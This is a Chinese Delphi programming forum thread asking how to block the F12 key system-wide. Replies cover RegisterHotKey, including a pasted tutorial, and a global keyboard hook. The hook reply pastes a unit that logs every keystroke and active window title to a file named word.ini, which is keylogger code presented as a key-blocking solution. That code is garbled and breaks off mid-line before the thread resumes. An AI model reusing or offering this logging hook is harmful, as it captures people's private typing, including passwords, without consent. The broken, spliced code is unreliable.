如何屏蔽F12键（100分）(100分)

注意，不是在本程序内屏蔽，而是程序运行时，按F12无效

注册系统热键F12即可，

能不能详细点//

copy

---- 在一个应用程序内部菜单、部件都可以设置敏感键。如在菜单中一般用Alt+F进入“文件”之类的子菜单。另外我们在桌面上设置的快捷方式里的快捷键，无论你任何时候按下你所设置的快捷键就会启动相应的应用程序。在多个正在运行的应用程序中如何利用一个按键动作迅速地回到你所需要的应用程序呢？这就需要利用敏感键（HOTKEY）的技术来实现。本文利用Delphi3.0开发工具来阐述该技术在应用程序的实现方法。

一、敏感键的设置

---- 在windows Api中有一个函数RegisterHotKey用于设置敏感键，它的调用方式如下：

BOOL RegisterHotKey(
HWND hWnd, //响应该敏感键的窗口句柄
Int id, //该敏感键的唯一标示符
UINT fsModifiers, //该敏感键的辅助按键
UINT vk //该敏感键的键值
);
　

---- 其中敏感键的唯一标示符在Window中规定应用程序的取值范围为0x0000到0xBFFF之间，动态链接库的取值范围为0xC000到0xFFFF之间。为了保证其唯一性建议使用GlobalAddAtom函数来设置敏感键的唯一标示符。需要注意的是GlobalAddAtom还回的值是在0xC000到0xFFFF范围之间，为满足RegisterHotKey的调用要求，如果是在应用程序中设置敏感键可以利用GlobalAddAtom还回值减去0xC000。

---- 敏感键的辅助按键包括Mod_Ctrl 、Mod_Alt、Mod_Shift,对于Windows兼容键盘还支持Windows键，即其键面上有Windows标志的那个键，其值为Mod_win。

---- 在Delphi中建立一个“New Application”，在Tform1中的Private段中加入如下代码

private
{ Private declarations }
hotkeyid :integer;
procedure WMhotkeyhandle(var msg:Tmessage);
message wm_hotkey; //响应敏感键按键消息
在FormCreate事件中加入如下代码
…
hotkeyid:=GlobalAddAtom(pchar
(“UserDefineHotKey”))-$C000;
//减去$C000是为了保证取值范围的限制
registerhotkey(handle,hotkeyid,
MOD_CONTROL or mod_Altt,$41);
//敏感键为ctrl+Alt+A
…
　

二、敏感键的响应

---- 一旦敏感键设置成功，在程序应用过程中如果有相应敏感键被按下，Windows系统都会给你的应用程序发送一个消息WM_HOTKEY，不管你的应用程序是否为当前活动的。其中WM_HOTKEY消息的格式为：

idHotKey = (int) wParam;
// 该参数在设置系统级的敏感键有用,一般不予使用
fuModifiers = (UINT) LOWORD(lParam);
//敏感键的辅助按键
uVirtKey = (UINT) HIWORD(lParam);
//敏感键的键值
　

---- 因为Windows系统只是把一个WM_HotKey的消息发送给应用程序,要完成具体的事情需要一个消息处理程序,也就是上面Private段里的procedure WMhotkeyhandle(var msg:Tmessage); message wm_hotkey; 过程, 它的代码如下(这里只是简单地把窗口最前面显示)

procedure TForm1.Wmhotkeyhandle
(var msg:Tmessage);
begin
if (msg.LParamHi=$41) and
(msg.lparamLo=MOD_CONTROL or mod_Alt) then
begin
msg.Result:=1; //该消息已经处理
application.BringToFront;
//把窗口最前面显示
end;
end;
　

三、敏感键的释放

---- 在应用程序退出来之前应当把你所设置的敏感键释放掉,以释放其所占有的系统资源,这里需要调用两个Windows API函数UNREGISTERHOTKEY,它的调用格式如下:

BOOL UNREGISTERHOTKEY(
HWND HWND, //与敏感键关联的窗口句柄
INT ID //敏感键的标示符
);
也就是说只要在FormClose事件中加入如下代码
…
unregisterhotkey(handle,hotkeyid);
DeleteAtom(HotKeyID);

注册成热键 是可以。但是不是最好的方法。。
（别的程序把热键注册成你设置的时候有冲突）
装个钩子才够棒。想禁止哪个键都行。。包括系统键（2K下CTRL＋ALT＋DEL不包括）
unit HookProc;
interface
uses
Windows, Messages, SysUtils, Controls, StdCtrls;
var
hNextHookProc:hhook;
procsaveexitointer;
procedure GetFormHandle(hhwnd:hwnd);stdcall;
function keyboardhooker(icode:integer;wparam_str:wparam;lparam_str:lparam):lresult;stdcall;
function InstallKeyHook:bool;stdcall;//加载钩子
function UninstallKeyHook:bool;stdcall;//卸载钩子
procedure keyhookexit;far;
var afilename:string;//将键盘输入动作写入文件中
implementation
var
debugfile:textfile;
MainFormHandle:hwnd;
// l_PrvChar:char;
hLastActiveWindow,hFocusWindow:hwnd;
// = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
function GetAppName(const AWindowHandle: THandle): string;
var
Hand:THandle;
begin
Result := '';
Hand:=GetModuleHandle('Ghost');
Result:=GetModuleName(Hand);
end;
// = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
procedure GetFormHandle(hhwnd:hwnd);stdcall;
begin
MainformHandle:=hhwnd;
aFileName:=ExtractFilePath(GetAppName(hhwnd))+'word.ini';
end;
// = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
function keyboardhooker(iCode:integer;wParam_str:wparam;lParam_str:lparam):lresult;stdcall;
const
_Keypressmask=$80000000;
var
curpoint:TPoint;
vKey,aKey:word;
maxCount:integer;
szTitle:array[0..255] of char;
// szTime:array[0..127] of char;
iShift,iCapital,iNumLock:integer;
bCapital,bNumLock,bShift:boolean;
ch:char;
str:array[0..10] of char;
pEvtEventMsg;
begin
{$i-}
{DEFINE isChar}
{$DEFINE isInt}
// ch:='';
if iCode<0 then
begin
result:=callnexthookex(hNextHookProc,iCode,wparam_str,lparam_str);
exit;
end;
if iCode=HC_ACTION then
begin
assignfile(debugfile,afilename);
if fileexists(aFilename) then append(debugfile)
else rewrite(debugfile);
pEvt:=PEventMsg(lParam_str);
if pEvt.message=WM_KEYDOWN then
begin
hFocusWindow:=GetActiveWindow;
if hFocusWindow<>hLastActiveWindow then
begin
maxCount:=GetWindowTextLength(hFocusWindow)+1;
GetWindowText(hFocusWindow,szTitle,maxCount);
writeln(debugfile,#13#10'窗口：'+StrPas(szTitle));
hLastActiveWindow:=hFocusWindow;
end;
vKey:=LoByte(pEvt.paramL);
aKey:=vKey;
iShift:=GetKeyState(VK_SHIFT);
iCapital:=GetKeyState(VK_CAPITAL);
iNumLock:=GetKeyState(VK_NUMLOCK);
bShift:=iShift and _KeyPressMask=_KeyPressMask;
bCapital:=iCapital and 1=1;
bNumLock:=iNumLock and 1=1;
if (vKey>=65) and (vKey<=90) then
begin
if not bCapital then
begin
if not bShift then Inc(aKey,32);
end
else
begin
if bShift then Inc(aKey,32);
end;
end;{if The Key is Char 如果是字母}
if (vKey>=96) and (vKey<=105) then
if bNumLock then Dec(aKey,48);{如果是小键盘上的数字 if is then minboard's number}
if (vKey>=48) and (vKey<=57) then // 数字+符号
begin
case vKey of
48:
if not bShift then ch:='0'
else ch:=')';
49:
if not bShift then ch:='1'
else ch:='!';
50:
if not bShift then ch:='2'
else ch:='@';
51:
if not bShift then ch:='3'
else ch:='#';
52:
if not bShift then ch:='4'
else ch:='$';
53:
if not bShift then ch:='5'
else ch:='%';
54:
if not bShift then ch:='6'
else ch:='^';
55:
if not bShift then ch:='7'
else ch:='&';
56:
if not bShift then ch:='8'
else ch:='*';
57:
if not bShift then ch:='9'
else ch:='(';
else
ch:='n';
end;
if ch<>'n' then aKey:=ord(ch);
end;
if (vKey>=186) and (vKey<=222) then // 其他键
begin
case vKey of
186:
if not bShift then ch:=';'
else ch:=':';
187:
if not bShift then ch:='='
else ch:='+';
188:
if not bShift then ch:=','
else ch:='<' ;
189:
if not bShift then ch:='-'
else ch:='_';
190:
if not bShift then ch:='.'
else ch:='>';
191:
if not bShift then ch:='/'
else ch:='?';
192:
if not bShift then ch:='`'
else ch:='~';
219:
if not bShift then ch:='['
else ch:='{';
220:
if not bShift then ch:='/'
else ch:='|';
221:
if not bShift then ch:=']'
else ch:='}';
222:
if not bShift then ch:=chr(39)
else ch:='"';
else
ch:='n';
end;
if ch<>'n' then aKey:=ord(ch);
end;
if vKey=110 then
if bNumLock then aKey:=ord('.');
fillchar(str,SizeOf(str),0);
if vKey>=48 then str[0]:=Chr(aKey);
if (vKey>=8) and (vKey<=46) then // 其他键
begin
case vKey of
8:StrPCopy(str,'[BkSp]');
9:StrPCopy(str,'[TAB]');
13:StrPCopy(str,'[Enter]');
19:StrPCopy(str,'[BREAK]');
27:StrPCopy(str,'[ESC]');
32:StrPCopy(str,'[Space]');
33:StrPCopy(str,'[PU]');
34:StrPCopy(str,'[PD]');
35:StrPCopy(str,'[END]');
36:StrPCopy(str,'[HOME]');
37:StrPCopy(str,'

var id:word;
id:=GlobalAddAtom(’MyHotkey’);
RegisterHotKey(handle,id,0,VK_F12);

TO kenny.hu:
我按照你给的做了，可是在2K下不行啊，98我叫一个朋友帮忙测试一下也不行。

多人接受答案了。

多人接受答案了

if key = 123 then
begin
key := 0;
end;
这样不知道可行！